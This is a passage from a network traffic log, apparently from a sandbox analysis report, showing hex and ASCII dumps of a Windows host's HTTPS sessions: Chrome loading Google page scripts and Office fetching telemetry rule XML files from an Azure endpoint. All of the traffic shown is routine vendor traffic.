2024-11-12 09:37:12 UTC	1378	IN	Data Raw: 30 33 63 5c 2f 61 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c Data Ascii: 03c\/a\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\
2024-11-12 09:37:12 UTC	1378	IN	Data Raw: 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 73 76 67 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 Data Ascii: role\u003d\"button\" tabindex\u003d\"0\"\u003e \u003csvg class\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l22
2024-11-12 09:37:12 UTC	1378	IN	Data Raw: 32 2c 32 7a 4d 36 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 32 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 Data Ascii: 2,2zM6,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM12,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1
2024-11-12 09:37:12 UTC	1378	IN	Data Raw: 66 74 5f 70 72 6f 64 75 63 74 5f 63 6f 6e 74 72 6f 6c 2d 6c 61 62 65 6c 31 22 2c 22 6c 65 66 74 5f 70 72 6f 64 75 63 74 5f 63 6f 6e 74 72 6f 6c 2d 6c 61 62 65 6c 32 22 5d 2c 22 6d 65 6e 75 5f 70 6c 61 63 65 68 6f 6c 64 65 72 5f 6c 61 62 65 6c 22 3a 22 6d 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 32 36 33 2c 33 37 30 30 39 34 39 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 Data Ascii: ft_product_control-label1","left_product_control-label2"],"menu_placeholder_label":"menu-content","metadata":{"bar_height":60,"experiment_id":[3700263,3700949,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else
2024-11-12 09:37:12 UTC	1378	IN	Data Raw: 3a 20 41 70 61 63 68 65 2d 32 2e 30 5c 6e 2a 2f 5c 6e 76 61 72 20 4c 64 3b 5f 2e 4a 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 63 6f 6e 73 74 20 62 5c 75 30 30 33 64 61 2e 6c 65 6e 67 74 68 3b 69 66 28 62 5c 75 30 30 33 65 30 29 7b 63 6f 6e 73 74 20 63 5c 75 30 30 33 64 41 72 72 61 79 28 62 29 3b 66 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 4c 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 4b 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 Data Ascii: : Apache-2.0\n*/\nvar Ld;_.Jd\u003dfunction(a){const b\u003da.length;if(b\u003e0){const c\u003dArray(b);for(let d\u003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};Ld\u003dfunction(a){return new _.Kd(b\u003d\u003eb.substr(0,a.length+1).toLowerCase()\u
2024-11-12 09:37:12 UTC	577	IN	Data Raw: 33 64 5f 2e 58 64 28 29 3b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 59 64 28 62 3f 62 2e 63 72 65 61 74 65 53 63 72 69 70 74 55 52 4c 28 61 29 3a 61 29 7d 3b 5f 2e 24 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 59 64 29 72 65 74 75 72 6e 20 61 2e 69 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 7d 3b 5f 2e 62 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 65 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 63 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4e 64 29 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4e 64 29 61 5c 75 30 30 33 64 61 2e 69 3b 65 6c 73 65 20 74 68 Data Ascii: 3d_.Xd();return new _.Yd(b?b.createScriptURL(a):a)};_.$d\u003dfunction(a){if(a instanceof _.Yd)return a.i;throw Error(\"F\");};_.be\u003dfunction(a){if(ae.test(a))return a};_.ce\u003dfunction(a){if(a instanceof _.Nd)if(a instanceof _.Nd)a\u003da.i;else th
2024-11-12 09:37:12 UTC	565	IN	Data Raw: 32 32 65 0d 0a 28 61 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 61 72 72 61 79 5c 22 7c 7c 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6f 62 6a 65 63 74 5c 22 5c 75 30 30 32 36 5c 75 30 30 32 36 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6e 75 6d 62 65 72 5c 22 7d 3b 5f 2e 66 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 72 65 74 75 72 6e 20 5f 2e 75 62 28 61 2c 62 2c 63 2c 21 31 29 21 5c 75 30 30 33 64 5c 75 30 30 33 64 76 6f 69 64 20 30 7d 3b 5f 2e 67 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 5f 2e 54 64 28 5f 2e 4d 63 28 61 2c 62 29 29 7d 3b 5f 2e 53 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 Data Ascii: 22e(a);return b\u003d\u003d\"array\"\|\|b\u003d\u003d\"object\"\u0026\u0026typeof a.length\u003d\u003d\"number\"};_.fe\u003dfunction(a,b,c){return _.ub(a,b,c,!1)!\u003d\u003dvoid 0};_.ge\u003dfunction(a,b){return _.Td(_.Mc(a,b))};_.S\u003dfunction(a,b){re
2024-11-12 09:37:12 UTC	1378	IN	Data Raw: 38 30 30 30 0d 0a 21 6a 61 76 61 73 63 72 69 70 74 3a 29 28 3f 3a 5b 5c 5c 77 2b 2e 2d 5d 2b 3a 7c 5b 5e 3a 2f 3f 23 5d 2a 28 3f 3a 5b 2f 3f 23 5d 7c 24 29 29 2f 69 3b 76 61 72 20 6f 65 2c 73 65 2c 6b 65 3b 5f 2e 6d 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 6e 65 77 20 6b 65 28 5f 2e 6c 65 28 61 29 29 3a 69 65 7c 7c 28 69 65 5c 75 30 30 33 64 6e 65 77 20 6b 65 29 7d 3b 5f 2e 6e 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 73 74 72 69 6e 67 5c 22 3f 61 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 62 29 3a 62 7d 3b 5f 2e 55 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 Data Ascii: 8000!javascript:)(?:[\\w+.-]+:\|[^:/?#]*(?:[/?#]\|$))/i;var oe,se,ke;_.me\u003dfunction(a){return a?new ke(_.le(a)):ie\|\|(ie\u003dnew ke)};_.ne\u003dfunction(a,b){return typeof b\u003d\u003d\u003d\"string\"?a.getElementById(b):b};_.U\u003dfunction(a,b){var

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	49718	142.250.185.196	443	7016	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:11 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-12 09:37:12 UTC	957	IN	HTTP/1.1 200 OK Version: 693618659 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Tue, 12 Nov 2024 09:37:12 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-12 09:37:12 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-11-12 09:37:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.6	49726	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:12 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:12 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:12 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 41fe7c09-d01e-0028-68a0-347896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093712Z-15869dbbcc6vr5dxhC1DFWyw4g00000001dg00000000ecy1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 09:37:12 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.6	49727	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:12 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:12 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:12 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 48bb68ea-401e-0016-35ff-2c53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093712Z-16547b76f7fj897nhC1DFWdwq40000000f7g00000000baka x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 09:37:12 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.6	49729	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:12 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:12 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:12 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 5ead3c92-b01e-0084-18a1-34d736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093712Z-15869dbbcc6ss7fxhC1DFWq6vs00000008r000000000dczg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 09:37:12 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.6	49728	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:12 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:12 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:12 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 1a2e7d6b-a01e-000d-7bfc-2cd1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093712Z-16547b76f7f7scqbhC1DFW0m5w0000000fa0000000006x2q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 09:37:12 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.6	49730	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:12 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:12 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:12 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: a2886317-b01e-00ab-6c01-2ddafd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093712Z-16547b76f7fcrtpchC1DFW52e80000000feg000000009hm1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 09:37:12 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.6	49731	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:13 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:13 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:13 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 2e71ae26-601e-0097-6701-2df33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093713Z-16547b76f7fwvr5dhC1DFW2c940000000fd0000000003yaa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 09:37:13 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.6	49732	13.107.246.45	443
